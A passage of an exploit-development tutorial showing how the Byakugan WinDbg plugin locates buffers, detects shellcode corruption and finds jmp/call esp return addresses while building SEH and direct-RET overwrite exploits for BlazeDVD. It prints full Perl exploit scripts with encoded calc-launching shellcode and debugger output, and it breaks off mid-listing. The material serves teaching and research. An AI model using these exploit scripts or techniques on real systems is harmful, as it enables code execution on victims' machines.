<\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 841px; height: 454px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; <strong><span style=\"color: #ff0000;\">!load byakugan<\/span><\/strong> [Byakugan] Successfully loaded! 0:000&gt; <strong><span style=\"color: #ff0000;\">!jutsu memDiff file 302 c:\\sploits\\blazevideo\\shell.txt 0x0012f5de<\/span><\/strong> ACTUAL EXPECTED ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43 ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43 43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30 43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30 41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41 41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41 51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a 51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a 4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b 4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b 47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f 47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f 4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b 4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b 50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50 50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50 4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a 4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a 44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54 44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54 45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b 45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b 45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31 45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31 4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c 4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c 46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36 46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36 45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b 45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b 42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58 42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58 4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54 4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54 51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f 51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f 4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 [J] Bytes replaced: 0x89 0xe3 0xdb 0xc2 0xd9 0xf4 [J] Offset corruption occurs at:<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> The parameters that were provided to memDiff are <\/p>\n<ul>\n<li>file : indicates that memDiff needs to read from a file<\/li>\n<li>302 : length of memory to read (302 = length of our shellcode)<\/li>\n<li>c:\\sploits\\blazevideo\\shellcode.txt : file containing our original shellcode<\/li>\n<li>0x0012f5de : start address (start point of our shellcode in memory)<\/li>\n<\/ul>\n<p> The windbg output did not show any bold characters, so we have an identical match (as expected). Now modify the exploit script and change some random shellcode bytes, and do the exercise again. (I have replaced all x43\u2019s with x44 - 24 replacements in total) <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 838px; height: 454px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; !load byakugan [Byakugan] Successfully loaded! 0:000&gt; <strong><span style=\"color: #ff0000;\">!jutsu memDiff file 302 c:\\sploits\\blazevideo\\shell.txt 0x0012f5de<\/span><\/strong> ACTUAL EXPECTED ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 44 44 44 ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43 44 44 44 51 5a 56 54 58 33 30 56 58 34 41 50 30 43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30 41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41 41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41 51 32 41 42 32 42 42 30 42 42 58 50 38 41 44 4a 51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a 4a 49 4b 4c 4b 58 51 54 44 30 45 50 45 50 4c 4b 4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b 47 35 47 4c 4c 4b 44 4c 44 35 44 38 44 31 4a 4f 47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f 4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b 4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b 50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50 50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50 4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a 4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a 44 4d 44 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54 44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54 45 54 44 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b 45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b 45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 44 31 45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31 4a 4b 4c 4b 45 4c 4c 4b 44 31 4a 4b 4d 59 51 4c 4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c 46 44 44 34 49 53 51 4f 46 51 4b 46 44 50 46 36 46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36 45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b 45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b 42 50 45 4c 4e 4d 4c 4b 42 48 44 38 4b 39 4a 58 42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58 4d 53 49 50 44 5a 50 50 44 58 4c 30 4d 5a 45 54 4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54 51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f 51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f 4b 57 44 53 44 51 42 4c 44 53 44 30 41 41 4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 [J] Bytes replaced: 0x89 0xe3 0xdb 0xc2 0xd9 0xf4 0x43 [J] Offset corruption occurs at:<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Now we see 24 bytes in bold (which corresponds with the 24 bytes that were change in the exploit script).\u00a0 This is a good way to determine whether shellcode (or ascii patterns or metasploit patterns) were changed in memory.\u00a0\u00a0 You can also see the \u201cBytes replaced\u201d. Compare the line of bytes with the line that was printed out in the first test.\u00a0 We now see 0x43 added to the list (which is exactly the byte that was changed in my shellcode)\u2026\u00a0 Way to go byakugan !\u00a0 High five again ! memDiff can really save you lots of time when you need to compare shellcode and find bad characters\u2026 Note : memDiff types are parameters : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; !jutsu memDiff [J] Format: memDiff &lt;type&gt; &lt;size&gt; &lt;<span style=\"color: #0000ff;\">value<\/span>&gt; &lt;address&gt; Valid Types: <span style=\"color: #0000ff;\">hex<\/span>: Value is any <span style=\"color: #0000ff;\">hex<\/span> characters file: Buffer is <span style=\"color: #0000ff;\">read<\/span> in from file at path &lt;<span style=\"color: #0000ff;\">value<\/span>&gt; buf: Buffer is taken from known tracked Buffers<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> <\/p>\n<h3>Byakugan : identBuf\/listBuf\/rmBuf and hunt<\/h3>\n<p> These 3 jutsu functions will help you finding buffer locations in memory. Let\u2019s assume the following script : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\"><span style=\"color: #0000ff;\">my<\/span> $sploitfile=\"<span style=\"color: #8b0000;\">blazesploit.plf<\/span>\"; <span style=\"color: #0000ff;\">my<\/span> $junk = \"<span style=\"color: #8b0000;\">Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab\u2026<\/span>\"; <span style=\"color: #0000ff;\">my<\/span> $nseh = \"<span style=\"color: #8b0000;\">\\xcc\\xcc\\x90\\x90<\/span>\"; #jump 30 bytes <span style=\"color: #0000ff;\">my<\/span> $seh = <span style=\"color: #0000ff;\">pack<\/span>('V',0x640246f7); #<span style=\"color: #0000ff;\">pop<\/span> esi, <span style=\"color: #0000ff;\">pop<\/span> ebx, ret <span style=\"color: #0000ff;\">my<\/span> $nop = \"<span style=\"color: #8b0000;\">\\x90<\/span>\" x 30; #start with 30 nop's # windows\/<span style=\"color: #0000ff;\">exec<\/span> - 302 bytes # http:<span style=\"color: #008000;\">\/\/www.metasploit.com<\/span> # Encoder: x86\/alpha_upper # EXITFUNC=seh, CMD=calc <span style=\"color: #0000ff;\">my<\/span> $shellcode=\"<span style=\"color: #8b0000;\">\\x89\\xe3\\xdb\\xc2\\xd9\\x73\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>\" . \"<span style=\"color: #8b0000;\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>\" . \"<span style=\"color: #8b0000;\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>\" . \"<span style=\"color: #8b0000;\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x4b\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x51\\x54\\x43\\x30\\x45\\x50\\x45\\x50\\x4c\\x4b\\x47\\x35\\x47\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x43\\x31\\x4a\\x4f\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x45\\x51\\x4a\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x49\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x45\\x51\\x4a\\x4e\\x50\\x31<\/span>\" . \"<span style=\"color: #8b0000;\">\\x49\\x50\\x4c\\x59\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x44\\x34\\x45\\x57<\/span>\" . \"<span style=\"color: #8b0000;\">\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\\x4b\\x4b\\x44<\/span>\" . \"<span style=\"color: #8b0000;\">\\x47\\x4b\\x50\\x54\\x47\\x54\\x45\\x54\\x43\\x45\\x4a\\x45\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x51\\x4f\\x46\\x44\\x45\\x51\\x4a\\x4b\\x45\\x36\\x4c\\x4b\\x44\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b\\x4c\\x4b<\/span>\" . \"<span style=\"color: #8b0000;\">\\x45\\x4c\\x4c\\x4b\\x43\\x31\\x4a\\x4b\\x4d\\x59\\x51\\x4c\\x46\\x44<\/span>\" . \"<span style=\"color: #8b0000;\">\\x43\\x34\\x49\\x53\\x51\\x4f\\x46\\x51\\x4b\\x46\\x43\\x50\\x46\\x36<\/span>\" . \"<span style=\"color: #8b0000;\">\\x45\\x34\\x4c\\x4b\\x50\\x46\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44\\x4c<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x4b\\x42\\x50\\x45\\x4c\\x4e\\x4d\\x4c\\x4b\\x42\\x48\\x43\\x38<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4b\\x39\\x4a\\x58\\x4d\\x53\\x49\\x50\\x43\\x5a\\x50\\x50\\x43\\x58<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4c\\x30\\x4d\\x5a\\x45\\x54\\x51\\x4f\\x42\\x48\\x4d\\x48\\x4b\\x4e<\/span>\" . \"<span style=\"color: #8b0000;\">\\x4d\\x5a\\x44\\x4e\\x50\\x57\\x4b\\x4f\\x4b\\x57\\x43\\x53\\x43\\x51<\/span>\" . \"<span style=\"color: #8b0000;\">\\x42\\x4c\\x43\\x53\\x43\\x30\\x41\\x41<\/span>\"; $payload =$junk.$nseh.$seh.$nop.$shellcode; <span style=\"color: #0000ff;\">open<\/span> ($FILE,\"<span style=\"color: #8b0000;\">&gt;$sploitfile<\/span>\"); <span style=\"color: #0000ff;\">print<\/span> $FILE $payload; <span style=\"color: #0000ff;\">close<\/span>($FILE); <span style=\"color: #0000ff;\">open<\/span> ($FILE2,\"<span style=\"color: #8b0000;\">&gt;c:\\\\shell.txt<\/span>\"); <span style=\"color: #0000ff;\">print<\/span> $FILE2 $nop.$shellcode; <span style=\"color: #0000ff;\">close<\/span>($FILE2);<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> <\/p>\n<blockquote><p>Note : \u201cmy $junk\u201d contains a metasploit pattern of 608 characters. (so you\u2019ll have to create it yourself and paste it in the script - it was too long to put it on this page).\u00a0 nseh contains breakpoints.\u00a0 And finally, at the bottom of the script, the nops + shellcode are written to a file (c:\\shell.txt).<\/p><\/blockquote>\n<p> Open windbg, launch blazeDVD, open the sploit file (which should make the application die). First change exception : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">(d54.970): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 &lt;Unloaded_ionInfo.dll&gt;+0x37694135: 37694136 ?? ???<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Now create 2 identBuf definitions : one for the metasploit pattern, and one for the shellcode : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; <strong>!load byakugan<\/strong> [Byakugan] Successfully loaded! 0:000&gt; <strong>!jutsu identBuf file myShell c:\\shell.txt<\/strong> [J] Creating buffer myShell. 0:000&gt; <strong>!jutsu identBuf msfpattern myBuffer 608<\/strong> [J] Creating buffer myBuffer. 0:000&gt; <strong>!jutsu listBuf<\/strong> [J] Currently tracked buffer patterns: Buf: myShell Pattern: \u00e3\u00db\u00c2\u00d9s\u00f4YIIIIICCCCCCQZVT... Buf: myBuffer Pattern: Aa0Aa1A...<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Let byakugan hunt for these buffers : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; <strong>!jutsu hunt<\/strong> [J] Controlling eip with myBuffer at <span style=\"color: #0000ff;\">offset<\/span> 260. [J] Found buffer myShell @ 0x0012f5c0 [J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper! [J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower! [J] Found buffer myBuffer @ 0x01f561e4<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> As seen earlier in this post, we could overwrite EIP directly (but we have chosen to go for a SEH based exploit).\u00a0 Hunt tells us that we control eip at offset 260. So hunt will give us the same results as !pattern_offset. On top of that, hunt will look for our pre-identified buffers and give us the addresses.\u00a0 I have asked Lurene Grenier if she could display the offset to a register if this output (which would make it even easier to find your buffers\u2026 she told me that she will think of building a generic solution for this - to be continued\u2026) Press \u201cg\u201d in windbg (to pass the first chance exception to the application). The application now breaks at our breakpoints (which where placed at nseh) <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; g (d54.970): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000 eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 &lt;Unloaded_ionInfo.dll&gt;+0x12f5b7: 0012f5b8 cc <span style=\"color: #0000ff;\">int<\/span> 3<\/pre>\n<p> Run \u2018hunt\u2019 again : &nbsp; <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; <strong>!jutsu hunt<\/strong> [J] Found buffer myShell @ 0x0012f5c0 [J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper! [J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower! [J] Found buffer myBuffer @ 0x01f561e4<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> We no longer control eip directly via myBuffer (because we have passed on the first exception to the application), but if we look at eip (0x0012f5b8) , we can see it points to a location that is very close to buffer myShell (0x0012f5c0)\u00a0 (so a short jump would make the application jump to the shellcode. <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt;<strong> d eip+8<\/strong> 0012f5c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0012f5d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 89 e3 ................ 0012f5e0 db c2 d9 73 f4 59 49 49-49 49 49 43 43 43 43 43 ...s.YIIIIICCCCC 0012f5f0 43 51 5a 56 54 58 33 30-56 58 34 41 50 30 41 33 CQZVTX30VX4AP0A3 0012f600 48 48 30 41 30 30 41 42-41 41 42 54 41 41 51 32 HH0A00ABAABTAAQ2 0012f610 41 42 32 42 42 30 42 42-58 50 38 41 43 4a 4a 49 AB2BB0BBXP8ACJJI 0012f620 4b 4c 4b 58 51 54 43 30-45 50 45 50 4c 4b 47 35 KLKXQTC0EPEPLKG5 0012f630 47 4c 4c 4b 43 4c 43 35-44 38 43 31 4a 4f 4c 4b GLLKCLC5D8C1JOLK<\/pre>\n<p> This proves that, since our breakpoint is placed at the first byte of where nseh is overwritten, a jump of 8 bytes (- 2 bytes of code to make the jump itself) will make the app flow jump to our shellcode. <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> <\/p>\n<h3>Byakugan : findReturn<\/h3>\n<p> We have seen that we can also build an exploit based on direct RET overwrite (at offset 260).\u00a0 Let\u2019s build a script that will demonstrate the use of findReturn help us building a working exploit : First, write a script that will build a payload made up of 264 metasploit pattern characters, followed by 1000 A\u2019s : <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\"><span style=\"color: #0000ff;\">my<\/span> $sploitfile=\"<span style=\"color: #8b0000;\">blazesploit.plf<\/span>\"; <span style=\"color: #0000ff;\">my<\/span> $junk = \"<span style=\"color: #8b0000;\">Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8 . . . Ai7<\/span>\"; <span style=\"color: #0000ff;\">my<\/span> $junk2 = \"<span style=\"color: #8b0000;\">A<\/span>\" x 1000; $payload =$junk.$junk2; <span style=\"color: #0000ff;\">open<\/span> ($FILE,\"<span style=\"color: #8b0000;\">&gt;$sploitfile<\/span>\");a <span style=\"color: #0000ff;\">print<\/span> $FILE $payload; <span style=\"color: #0000ff;\">close<\/span>($FILE); <span style=\"color: #0000ff;\">open<\/span> ($FILE2,\"<span style=\"color: #8b0000;\">&gt;c:\\\\junk2.txt<\/span>\"); <span style=\"color: #0000ff;\">print<\/span> $FILE2 $junk2; <span style=\"color: #0000ff;\">close<\/span>($FILE2);<\/pre>\n<p> When opening the sploitfile, windbg reports this : &nbsp; <\/p>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">(c34.7f4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 &lt;Unloaded_ionInfo.dll&gt;+0x37694135: 37694136 ?? ???<\/pre>\n<p> <!--.csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, \"Courier New\", courier, monospace; background-color: #ffffff; \/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } --> Let\u2019s use the byakugan arsenal to find all required information to build a working exploit : <\/p>\n<ul>\n<li>track the metasploit pattern ($junk)<\/li>\n<li>track the A\u2019s ($junk2)<\/li>\n<li>see where eip is overwritten (offset)<\/li>\n<li>see where $junk and $junk2 are<\/li>\n<li>find return addresses<\/li>\n<\/ul>\n<pre style=\"background-color: #f0f0f0; min-height: 40px; width: 650px; overflow: auto; border: #cecece 1px solid; padding: 5px;\">0:000&gt; !load byakugan [Byakugan] Successfully loaded! 0:000&gt; !jutsu identBuf msfpattern myJunk1 264 [J] Creating buffer myJunk1. 0:000&gt; !jutsu identBuf file myJunk2 c:\\junk2.txt [J] Creating buffer myJunk2. 0:000&gt; !jutsu listBuf [J] Currently tracked buffer patterns: Buf: myJunk1 Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0A... (etc) Buf: myJunk2 Pattern: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (etc) 0:000&gt; !jutsu hunt [J] Controlling eip with myJunk1 at <span style=\"color: #0000ff;\">offset<\/span> 260. [J] Found buffer myJunk1 @ 0x0012f254 [J] Found buffer myJunk2 @ 0x0012f460 [J] Found buffer myJunk2 @ 0x0012f460 - Victim of toUpper! 0:000&gt; !jutsu findReturn [J] started <span style=\"color: #0000ff;\">return<\/span> address hunt [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x3d9572cc [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x3d9bb043 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x3d9bd376 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x4b2972cb [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x4b297591 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x4b297ccb [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x4b297f91 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x4ec5c26d [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp esp) found at 0x4ec88543 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (call esp) found at 0x4ece5a73 [J] valid <span style=\"color: #0000ff;\">return<\/span> address (jmp 